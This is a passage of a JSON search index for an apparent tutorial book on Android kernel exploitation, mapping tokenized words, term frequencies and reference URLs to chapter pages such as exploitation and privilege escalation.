0021691973969631237}}},"!":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"a":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"e":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"p":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"l":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"_":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"s":{"docs":{},"[":{"docs":{},"m":{"docs":{},"a":{"docs":{},"x":{"docs":{},"_":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"p":{"docs":{},"t":{"docs":{},"h":{"docs":{},"]":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}}}}}}}}},"p":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"n":{"docs":{},"c":{"docs":{},"e":{"docs":{},",":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}}},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},"o":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}},"_":{"docs":{},"i":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"s":{"docs":{},"a":{"docs":{},"v":{"docs":{},"e":{"docs":{},"[":{"docs":{},"x":{"docs":{},"h":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"c":{"docs":{},"t":{"docs":{},"x":{"docs":{},"_":{"docs":{},"n":{"docs":{},"r":{"docs":{},"]":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}}}}}}}},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"n":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"d":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}},"g":{"docs":{},"h":{"docs":{},"e":{"docs":{},"s":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}},"j":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"o":{"docs":{},"s":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}},"w":{"docs":{},"e":{"docs":{},"v":{"docs":{},"e":{"docs":{},"r":{"docs":{},",":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}}}}}}}},"l":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}},"o":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"r":{"docs":{},"n":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"p":{"docs":{},"e":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"t":{"docs":{},"t":{"docs":{},"p":{"docs":{},"s":{"docs":{},":":{"docs":{},"/":{"docs":{},"/":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"r":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{},".":{"docs":{},"g":{"docs":{},"o":{"docs":{},"o":{"docs":{},"g":{"docs":{},"l":{"docs":{},"e":{"docs":{},"s":{"docs":{},"o":{"docs":{},"u":{"docs":{},"r":{"docs":{},"c":{"docs":{},"e":{"docs":{},".":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"/":{"docs":{},"k":{"docs":{},"e":{"docs":{},"r":{"docs":{},"n":{"docs":{},"e":{"docs":{},"l":{"docs":{},"/":{"docs":{},"m":{"docs":{},"a":{"docs":{},"n":{"docs":{},"i":{"docs":{},"f":{"docs":{},"e":{"docs":{},"s":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"d":{"docs":{},"e":{"docs":{},"v":{"docs":{},"e":{"docs":{},"l":{"docs":{},"o":{"docs":{},"p":{"docs":{},"e":{"docs":{},"r":{"docs":{},".":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"r":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{},".":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"/":{"docs":{},"s":{"docs":{},"t":{"docs":{},"u":{"docs":{},"d":{"docs":{},"i":{"docs":{},"o":{"docs":{},"/":{"docs":{},"i":{"docs":{},"n":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"l":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}}},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"j":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{},"s":{"docs":{},"/":{"docs":{},"i":{"docs":{},"n":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"l":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}}}}}}}}}}}},"r":{"docs":{},"u":{"docs":{},"n":{"docs":{},"/":{"docs":{},"e":{"docs":{},"m":{"docs":{},"u":{"docs":{},"l":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"a":{"docs":{},"y":{"docs":{},"z":{"docs":{},"e":{"docs":{},"r":{"docs":{},"o":{"docs":{},"s":{"docs":{},"e":{"docs":{},"c":{"docs":{},".":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"/":{"docs":{},"p":{"docs":{},"o":{"docs":{},"s":{"docs":{},"t":{"docs":{},"s":{"docs":{},"/":{"docs":{},"a":{"docs":{},"n":{"docs":{},"a":{"docs":{},"l":{"docs":{},"y":{"docs":{},"z":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"g":{"docs":{},"e":{"docs":{},"r":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{},".":{"docs":{},"g":{"docs":{},"o":{"docs":{},"o":{"docs":{},"g":{"docs":{},"l":{"docs":{},"e":{"docs":{},"s":{"docs":{},"o":{"docs":{},"u":{"docs":{},"r":{"docs":{},"c":{"docs":{},"e":{"docs":{},".":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"/":{"docs":{},"g":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}}}}}}}}}}}}}}}}}}}}}}},"i":{"docs":{},"t":{"docs":{},"h":{"docs":{},"u":{"docs":{},"b":{"docs":{},".":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"/":{"docs":{},"c":{"docs":{},"l":{"docs":{},"o":{"docs":{},"u":{"docs":{},"d":{"docs":{},"f":{"docs":{},"u":{"docs":{},"z":{"docs":{},"z":{"docs":{},"/":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"r":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}}}}}}}}}}}}}},"a":{"docs":{},"m":{"docs":{},"e":{"docs":{},"z":{"docs":{},"i":{"docs":{},"n":{"docs":{},"/":{"docs":{},"v":{"docs":{},"s":{"docs":{},"c":{"docs":{},"o":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}}}},"o":{"docs":{},"o":{"docs":{},"g":{"docs":{},"l":{"docs":{},"e":{"docs":{},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"j":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{},"z":{"docs":{},"e":{"docs":{},"r":{"docs":{},"o":{"docs":{},".":{"docs":{},"b":{"docs":{},"l":{"docs":{},"o":{"docs":{},"g":{"docs":{},"s":{"docs":{},"p":{"docs":{},"o":{"docs":{},"t":{"docs":{},".":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"/":{"2":{"0":{"1":{"9":{"docs":{},"/":{"1":{"1":{"docs":{},"/":{"docs":{},"b":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"r":{"docs":{},"o":{"docs":{},"u":{"docs":{},"p":{"docs":{},"s":{"docs":{},".":{"docs":{},"g":{"docs":{},"o":{"docs":{},"o":{"docs":{},"g":{"docs":{},"l":{"docs":{},"e":{"docs":{},".":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"/":{"docs":{},"f":{"docs":{},"o":{"docs":{},"r":{"docs":{},"u":{"docs":{},"m":{"docs":{},"/":{"docs":{},"#":{"docs":{},"!":{"docs":{},"m":{"docs":{},"s":{"docs":{},"g":{"docs":{},"/":{"docs":{},"s":{"docs":{},"y":{"docs":{},"z":{"docs":{},"k":{"docs":{},"a":{"docs":{},"l":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}}}}}}}}}}}}}}}},"d":{"docs":{},"/":{"docs":{},"m":{"docs":{},"s":{"docs":{},"g":{"docs":{},"/":{"docs":{},"s":{"docs":{},"y":{"docs":{},"z":{"docs":{},"k":{"docs":{},"a":{"docs":{},"l":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"s":{"docs":{},"o":{"docs":{},"u":{"docs":{},"r":{"docs":{},"c":{"docs":{},"e":{"docs":{},".":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"r":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{},".":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"/":{"docs":{},"s":{"docs":{},"e":{"docs":{},"t":{"docs":{},"u":{"docs":{},"p":{"docs":{},"/":{"docs":{},"b":{"docs":{},"u":{"docs":{},"i":{"docs":{},"l":{"docs":{},"d":{"docs":{},"/":{"docs":{},"b":{"docs":{},"u":{"docs":{},"i":{"docs":{},"l":{"docs":{},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}}}}}}}}}}},"c":{"docs":{},"u":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{},"y":{"docs":{},"/":{"docs":{},"s":{"docs":{},"e":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"u":{"docs":{},"x":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"b":{"docs":{},"u":{"docs":{},"g":{"docs":{},"s":{"docs":{},".":{"docs":{},"c":{"docs":{},"h":{"docs":{},"r":{"docs":{},"o":{"docs":{},"m":{"docs":{},"i":{"docs":{},"u":{"docs":{},"m":{"docs":{},".":{"docs":{},"o":{"docs":{},"r":{"docs":{},"g":{"docs":{},"/":{"docs":{},"p":{"docs":{},"/":{"docs":{},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"j":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"e":{"docs":{},"l":{"docs":{},"i":{"docs":{},"x":{"docs":{},"i":{"docs":{},"r":{"docs":{},".":{"docs":{},"b":{"docs":{},"o":{"docs":{},"o":{"docs":{},"t":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},".":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"/":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"u":{"docs":{},"x":{"docs":{},"/":{"docs":{},"v":{"4":{"docs":{},".":{"1":{"4":{"docs":{},".":{"1":{"7":{"1":{"docs":{},"/":{"docs":{},"s":{"docs":{},"o":{"docs":{},"u":{"docs":{},"r":{"docs":{},"c":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}}},"docs":{}}}}}}}}}}}}}}}}}}}}}}}}}},"n":{"docs":{},".":{"docs":{},"w":{"docs":{},"i":{"docs":{},"k":{"docs":{},"i":{"docs":{},"p":{"docs":{},"e":{"docs":{},"d":{"docs":{},"i":{"docs":{},"a":{"docs":{},".":{"docs":{},"o":{"docs":{},"r":{"docs":{},"g":{"docs":{},"/":{"docs":{},"w":{"docs":{},"i":{"docs":{},"k":{"docs":{},"i":{"docs":{},"/":{"docs":{},"l":{"docs":{},"i":{"docs":{},"g":{"docs":{},"h":{"docs":{},"t":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}},"v":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{},"o":{"docs":{},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{},"_":{"docs":{},"i":{"docs":{},"/":{"docs":{},"o":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"h":{"docs":{},"e":{"docs":{},"r":{"docs":{},"n":{"docs":{},"a":{"docs":{},"n":{"docs":{},".":{"docs":{},"d":{"docs":{},"e":{"docs":{},"/":{"docs":{},"b":{"docs":{},"l":{"docs":{},"o":{"docs":{},"g":{"docs":{},"/":{"2":{"0":{"1":{"9":{"docs":{},"/":{"1":{"0":{"docs":{},"/":{"1":{"5":{"docs":{},"/":{"docs":{},"t":{"docs":{},"a":{"docs":{},"i":{"docs":{},"l":{"docs":{},"o":{"docs":{},"r":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}}}}},"l":{"docs":{},"w":{"docs":{},"n":{"docs":{},".":{"docs":{},"n":{"docs":{},"e":{"docs":{},"t":{"docs":{},"/":{"docs":{},"a":{"docs":{},"r":{"docs":{},"t":{"docs":{},"i":{"docs":{},"c":{"docs":{},"l":{"docs":{},"e":{"docs":{},"s":{"docs":{},"/":{"6":{"5":{"6":{"3":{"0":{"7":{"docs":{},"/":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}}}}}}},"m":{"docs":{},"e":{"docs":{},"d":{"docs":{},"i":{"docs":{},"u":{"docs":{},"m":{"docs":{},".":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"/":{"docs":{},"h":{"docs":{},"u":{"docs":{},"n":{"docs":{},"g":{"docs":{},"i":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}}}}}}}}}}}},"w":{"docs":{},"w":{"docs":{},"w":{"docs":{},".":{"docs":{},"b":{"docs":{},"l":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{},"h":{"docs":{},"a":{"docs":{},"t":{"docs":{},".":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"/":{"docs":{},"d":{"docs":{},"o":{"docs":{},"c":{"docs":{},"s":{"docs":{},"/":{"docs":{},"e":{"docs":{},"u":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}}}}}}}}}}}}}}}},"g":{"docs":{},"n":{"docs":{},"u":{"docs":{},".":{"docs":{},"o":{"docs":{},"r":{"docs":{},"g":{"docs":{},"/":{"docs":{},"s":{"docs":{},"o":{"docs":{},"f":{"docs":{},"t":{"docs":{},"w":{"docs":{},"a":{"docs":{},"r":{"docs":{},"e":{"docs":{},"/":{"docs":{},"l":{"docs":{},"i":{"docs":{},"b":{"docs":{},"c":{"docs":{},"/":{"docs":{},"m":{"docs":{},"a":{"docs":{},"n":{"docs":{},"u":{"docs":{},"a":{"docs":{},"l":{"docs":{},"/":{"docs":{},"h":{"docs":{},"t":{"docs":{},"m":{"docs":{},"l":{"docs":{},"_":{"docs":{},"n":{"docs":{},"o":{"docs":{},"d":{"docs":{},"e":{"docs":{},"/":{"docs":{},"s":{"docs":{},"c":{"docs":{},"a":{"docs":{},"t":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},"_":{"0":{"0":{"2":{"docs":{},"d":{"docs":{},"g":{"docs":{},"a":{"docs":{},"t":{"docs":{},"h":{"docs":{},"e":{"docs":{},"r":{"docs":{},".":{"docs":{},"h":{"docs":{},"t":{"docs":{},"m":{"docs":{},"l":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}}}}}}}}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{},"h":{"docs":{},"a":{"docs":{},"t":{"docs":{},".":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"/":{"docs":{},"e":{"docs":{},"n":{"docs":{},"/":{"docs":{},"t":{"docs":{},"o":{"docs":{},"p":{"docs":{},"i":{"docs":{},"c":{"docs":{},"s":{"docs":{},"/":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"u":{"docs":{},"x":{"docs":{},"/":{"docs":{},"w":{"docs":{},"h":{"docs":{},"a":{"docs":{},"t":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"y":{"docs":{},"o":{"docs":{},"u":{"docs":{},"t":{"docs":{},"u":{"docs":{},"b":{"docs":{},"e":{"docs":{},".":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"/":{"docs":{},"w":{"docs":{},"a":{"docs":{},"t":{"docs":{},"c":{"docs":{},"h":{"docs":{},"?":{"docs":{},"v":{"docs":{},"=":{"docs":{},"t":{"docs":{},"a":{"docs":{},"w":{"docs":{},"q":{"4":{"docs":{},"e":{"docs":{},"z":{"docs":{},"g":{"docs":{},"e":{"docs":{},"i":{"docs":{},"o":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}}},"docs":{}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},":":{"docs":{},"/":{"docs":{},"/":{"docs":{},"m":{"docs":{},"a":{"docs":{},"n":{"7":{"docs":{},".":{"docs":{},"o":{"docs":{},"r":{"docs":{},"g":{"docs":{},"/":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"u":{"docs":{},"x":{"docs":{},"/":{"docs":{},"m":{"docs":{},"a":{"docs":{},"n":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}}}}}}}}}}},"docs":{}}}},"w":{"docs":{},"w":{"docs":{},"w":{"docs":{},".":{"docs":{},"b":{"docs":{},"r":{"docs":{},"i":{"docs":{},"c":{"docs":{},"k":{"docs":{},"t":{"docs":{},"o":{"docs":{},"u":{"docs":{},".":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"/":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}}}}}}}}}}}}}}}}}}},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},"_":{"docs":{},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"w":{"docs":{},".":{"docs":{},"c":{"docs":{},"p":{"docs":{},"u":{"docs":{},".":{"docs":{},"n":{"docs":{},"c":{"docs":{},"o":{"docs":{},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}}}}}}}}}}},"j":{"docs":{},"`":{"docs":{},"n":{"docs":{},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"c":{"docs":{},"`":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}}}},"i":{"docs":{},"t":{"docs":{},"_":{"docs":{},"k":{"docs":{},"e":{"docs":{},"y":{"docs":{},"r":{"docs":{},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"o":{"docs":{},"b":{"docs":{},"c":{"docs":{},"t":{"docs":{},"l":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"*":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"u":{"docs":{},"r":{"docs":{},"n":{"docs":{},"a":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"a":{"docs":{},"n":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}},"n":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"u":{"docs":{},"m":{"docs":{},"p":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}},"n":{"docs":{},"k":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.002520302436292355}},"s":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"e":{"docs":{},"t":{"docs":{},"d":{"docs":{},"a":{"docs":{},"t":{"docs":{},"a":{"docs":{},"[":{"docs":{},"]":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}},"l":{"docs":{},"a":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},"s":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}},"n":{"docs":{},"c":{"docs":{},"y":{"docs":{},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"c":{"docs":{},"o":{"docs":{},"r":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"[":{"docs":{},"l":{"docs":{},"t":{"docs":{},"_":{"docs":{},"s":{"docs":{},"a":{"docs":{},"v":{"docs":{},"e":{"docs":{},"c":{"docs":{},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{},"]":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}}}},"u":{"docs":{},"n":{"docs":{},"c":{"docs":{},"h":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}},"w":{"docs":{},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}},"s":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0017043033659991478}},"_":{"docs":{},"s":{"docs":{},"l":{"docs":{},"e":{"docs":{},"e":{"docs":{},"p":{"docs":{},"_":{"docs":{},"t":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"u":{"docs":{},"m":{"docs":{},"_":{"docs":{},"e":{"docs":{},"x":{"docs":{},"e":{"docs":{},"c":{"docs":{},"_":{"docs":{},"r":{"docs":{},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{},"i":{"docs":{},"m":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}},"w":{"docs":{},"i":{"docs":{},"t":{"docs":{},"c":{"docs":{},"h":{"docs":{},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-p